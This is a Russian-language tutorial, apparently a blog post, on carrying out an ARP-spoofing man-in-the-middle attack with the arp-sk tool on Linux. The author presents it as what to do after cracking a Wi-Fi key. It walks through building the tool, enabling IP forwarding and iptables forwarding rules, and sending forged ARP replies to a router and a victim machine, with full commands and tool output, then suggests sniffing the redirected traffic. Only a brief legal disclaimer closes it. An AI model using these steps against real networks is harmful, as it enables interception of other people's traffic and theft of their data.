В данной статье я расскажу как, используя пакет утилит arp-sk в операционной системе GNU/Linux реализовать атаку man-in-the-middle на протокол arp.
Для чего вообще нужна такая атака:
На хабре достаточно много статей например для взлома Wi-Fi. Но что делать после того, как ключ взломан? Тут можно увидеть один из вариантов действий.
Немного теории
Протокол arp необходим для передачи в среде Ethernet. Потому как передача осуществляется по mac-адресам. Подробнее о mac-адресе можно почитать в википедии.
ru.wikipedia.org/wiki/MAC-%D0%B0%D0%B4%D1%80%D0%B5%D1%81
Для того, чтобы сообщение было передано от одного сетевого устройства к другому, в частности от Victim к Router компьютеру необходимо осуществить сопоставление IP-адрес — mac-адрес. Рассмотрим этот процесс с помощью утилиты tcpdump
1 2 3 |
# tcpdump -i eth1 -vvv 21:11:14.076068 ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 192.168.4.1 tell 192.168.4.17, length 28 21:11:14.077852 ARP, Ethernet (len 6), IPv4 (len 4), Reply 192.168.4.1 is-at 00:50:ba:46:5d:92 (oui Unknown), length 46 |
первый пакет — компьютер отправляет широковещательное сообщение с целью узнать mac-адрес, который принадлежит ip-адресу 192.168.4.1 и просьбой отослать ответ на 192.168.4.11. Здесь не видно, но компьютер 192.168.4.11 при отправлении данного запроса указывает свой mac-адрес в качестве источника и широковещательный mac-адрес(FF:FF:FF:FF:FF:FF) в качестве адреса получателя. Сетевое устройство, получив данный пакет должно произвести сравнение ip-адреса со своим, и в случае совпадения послать следующий пакет.
второй пакет — устройство с адресом 192.168.4.1 отвечает на mac-адрес, который был указан в запросе со своего mac-адреса, что адрес 192.168.4.1 находится на 00:50:ba:46:5d:92.
В связи с тем, что arp-запрос отсылается на широковещательный адрес то данное сообщение могут получить любой, кто находится в одном широковещательном сегменте с источником. Посему возникает один из вариантов атаки — постоянно отправлять сообщение о своем mac-адресе. При этом, когда компьютер-жертва отправляет arp-запрос на роутер, то сразу же получает ответ от атакующего. Соответственно трафик будет направлен атакующему.
Наша задача: получить трафик компьютера Victim с помощью компьютера Attacker.
Для этого мы будем использовать самопроизвольный arp-ответ. В протоколе arp предусмотрена возможность отправления устройством arp-запроса или ответа в случае, если такое не требуют другие устройства. Для чего это надо — например, если изменился mac-адрес маршрутизатора. В случае, если компьютер поддерживает самопроизвольный arp то он перезапишет легитимный адрес на адрес атакующего.
Проведение атаки
Установка необходимого ПО
Arp-sk:
1 2 3 4 5 |
# wget <a href="http://sid.rstack.org/arp-sk/files/arp-sk-0.0.16.tgz">sid.rstack.org/arp-sk/files/arp-sk-0.0.16.tgz</a> # tar xvzf arp-sk-0.0.16.tgz # cd arp-sk-0.0.16/ # ./configure # make |
В случае успешной компиляции пакета, устанавливаем его
1 |
# make install |
Варианты запуска команды можно посмотреть с помощью
1 |
# arp-sk --help |
нам понадобятся следующие ключи:
1 2 3 4 5 6 7 |
Usage: arp-sk -r --reply отправлять ARP ответ -d --dst получатель в link layer (<hotname|hostip|MAC>) -s --src источник в link layer (<hotname|hostip|MAC>) -D --arp-dst получатель в ARP сообщении ([hostname|hostip][:MAC]) -S --arp-src источник в ARP сообщении ([hostname|hostip][:MAC]) -i --interface указать интерфейс (eth0) |
Подмена адреса
Мы должны отправить роутеру и компьютеру arp-сообщения о том, что mac-адрес другого устройства наш.
перед этим мы настроим компьютер Attacker для пере направления трафика. Для этого включим пере направление трафика в ядре:
1 |
# echo 1 > /proc/sys/net/ipv4/ip_forward |
Теперь разрешим пере направление трафика в пакетном фильтре. У меня используется iptables, поэтому я добавляю разрешающие политики в цепочку FORWARD. Так как у меня сеть для атаки используется тестовая, то я могу добавить следующие правила:
1 2 |
# iptables -I FORWARD 1 -s 192.168.4.17 -j ACCEPT # iptables -I FORWARD 2 -d 192.168.4.17 -j ACCEPT |
Эти 2 правила разрешают пере направление трафика атакующим компьютером для адреса 192.168.4.17.
Внимание! Данные правила являются потенциально опасными, особенно, если у вас несколько сетевых интерфейсов. В таком случае рекомендую использовать более точные правила.
Посмотрим адреса
Наш адрес:
1 2 |
# ifconfig eth1 | grep HW eth1 Link encap:Ethernet HWaddr 00:13:CE:5C:11:34 |
Адреса других устройств
1 2 3 |
# arp -an ? (192.168.4.1) at 00:50:ba:46:5d:92 [ether] on eth1 ? (192.168.4.17) at 00:1c:bf:41:53:4b [ether] on eth1 |
Посмотрим таблицу маршрутизации компьютера Victim:
Теперь отправляем устройствам следующие arp-пакеты: подставляем в качестве mac-адреса другого устройства свой.
Первый от имени 192.168.4.17 о том, что его mac-адрес теперь 00:13:CE:5C:11:34 отправляем на 192.168.4.1 (00:50:ba:46:5d:92)
Второй от имени 192.168.4.1 о том, что его mac-адрес теперь 00:13:CE:5C:11:34 отправляем на 192.168.4.17 (00:1c:bf:41:53:4b)
1 2 |
# arp-sk -i eth1 -r -s 00:13:CE:5C:11:34 -S 192.168.4.17 -d 00:50:ba:46:5d:92 -D 192.168.4.1 # arp-sk -i eth1 -r -s 00:13:CE:5C:11:34 -S 192.168.4.1 -d 00:1c:bf:41:53:4b -D 192.168.4.17 |
У нас будет следующий вывод:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
+ Initialization of the packet structure + Running mode "reply" + Ifname: eth1 + Source MAC: 00:13:ce:5c:11:34 + Source ARP MAC: 00:13:ce:5c:11:34 + Source ARP IP : 192.168.4.1 + Target MAC: 00:1c:bf:41:53:4b + Target ARP MAC: 00:1c:bf:41:53:4b + Target ARP IP : 192.168.4.17 --- Start classical sending --- TS: 21:30:44.338540 To: 00:1c:bf:41:53:4b From: 00:13:ce:5c:11:34 0x0806 ARP For 192.168.4.17 (00:1c:bf:41:53:4b): 192.168.4.1 is at 00:13:ce:5c:11:34 |
Посмотрим теперь на компьютере Victim таблицу маршрутизации:
Собственно все. Теперь можно запустить свой любимый сниффер и получить необходимые пакеты. Например ping до яндекса
Добавление. В случае, если на компьютере установлен брандмауэр, то он может выдать сообщение о подмене адреса.
Данная информация приведена только для ознакомления. Автор напоминает вам о Статье 272 УК РФ «Неправомерный доступ к компьютерной информации»
(источник)